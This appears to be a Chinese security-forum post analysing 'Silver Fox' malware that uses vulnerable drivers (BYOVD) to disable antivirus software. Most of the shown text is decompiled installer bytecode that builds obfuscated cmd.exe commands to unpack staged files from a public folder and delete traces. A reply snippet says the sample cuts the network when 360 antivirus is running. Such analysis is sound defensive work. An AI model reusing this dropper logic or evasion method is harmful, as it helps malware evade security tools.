主题:持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
z3960发表于 2026-02-21 07:49
n Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(21)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(102)assign Var17[2], S32(117)assign Var17[3], S32(110)assign Var17[4], S32(122)assign Var17[5], S32(105)assign Var17[6], S32(112)assign Var17[7], S32(46)assign Var17[8], S32(101)assign Var17[9], S32(120)assign Var17[10], S32(101)assign Var17[11], S32(34)assign Var17[12], S32(32)assign Var17[13], S32(38)assign Var17[14], S32(38)assign Var17[15], S32(32)assign Var17[16], S32(100)assign Var17[17], S32(101)assign Var17[18], S32(108)assign Var17[19], S32(32)assign Var17[20], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(25)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(67)assign Var17[1], S32(58)assign Var17[2], S32(92)assign Var17[3], S32(85)assign Var17[4], S32(115)assign Var17[5], S32(101)assign Var17[6], S32(114)assign Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(11)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(117)assign Var17[2], S32(110)assign Var17[3], S32(122)assign Var17[4], S32(105)assign Var17[5], S32(112)assign Var17[6], S32(46)assign Var17[7], S32(51)assign Var17[8], S32(34)assign Var17[9], S32(32)assign Var17[10], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(25)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(67)assign Var17[1], S32(58)assign Var17[2], S32(92)assign Var17[3], S32(85)assign Var17[4], S32(115)assign Var17[5], S32(101)assign Var17[6], S32(114)assign Var17[7], S32(115)assign Var17[8], S32(92)assign Var17[9], S32(80)assign Var17[10], S32(117)assign Var17[11], S32(98)assign Var17[12], S32(108)assign Var17[13], S32(105)assign Var17[14], S32(99)assign Var17[15], S32(92)assign Var17[16], S32(68)assign Var17[17], S32(111)assign Var17[18], S32(99)assign Var17[19], S32(117)assign Var17[20], S32(109)assign Var17[21], S32(101)assign Var17[22], S32(110)assign Var17[23], S32(116)assign Var17[24], S32(115)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14pushtype UnicodeString_2 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype Type30 ; StackCount = 17pushtype S32 ; StackCount = 18assign Var18, S32(9)pushvar Var17 ; StackCount = 19call SETARRAYLENGTHpop ; StackCount = 18pop ; StackCount = 17assign Var17[0], S32(92)assign Var17[1], S32(117)assign Var17[2], S32(110)assign Var17[3], S32(122)assign Var17[4], S32(105)assign Var17[5], S32(112)assign Var17[6], S32(46)assign Var17[7], S32(50)assign Var17[8], S32(34)assign Var16, Var17pop ; StackCount = 16pushvar Var15 ; StackCount = 17call STRFROMCODEpop ; StackCount = 16pop ; StackCount = 15add Var14, Var15pop ; StackCount = 14assign Var13, Var14pop ; StackCount = 13pushtype UnicodeString_2 ; StackCount = 14pushtype Type30 ; StackCount = 15pushtype Type30 ; StackCount = 16pushtype S32 ; StackCount = 17assign Var17, S32(7)pushvar Var16 ; StackCount = 18call SETARRAYLENGTHpop ; StackCount = 17pop ; StackCount = 16assign Var16[0], S32(99)assign Var16[1], S32(109)assign Var16[2], S32(100)assign Var16[3], S32(46)assign Var16[4], S32(101)assign Var16[5], S32(120)assign Var16[6], S32(101)assign Var15, Var16pop ; StackCount = 15pushvar Var14 ; StackCount = 16call STRFROMCODEpop ; StackCount = 15pop ; StackCount = 14pushvar Var8 ; StackCount = 15call EXECpop ; StackCount = 14pop ; StackCount = 13pop ; StackCount = 12pop ; StackCount = 11pop ; StackCount = 10pop ; StackCount = 9pop ; StackCount = 8pop ; StackCount = 7call OBFUSCATEDEXTRACTpushtype Type30 ; StackCount = 8pushtype Type30 ; StackCount = 9pushtype S32 ; StackCount = 10assign Var10, S32(51)pushvar Var9 ; StackCount = 11call SETARRAYLENGTHpop ; StackCount = 10pop ; StackCount =
回帖(7):
该函数会检测360主防进程——若存在,则执行断网,具体如下:该函数会调用代码中的“IS360PROCES ..
全部回帖(7)»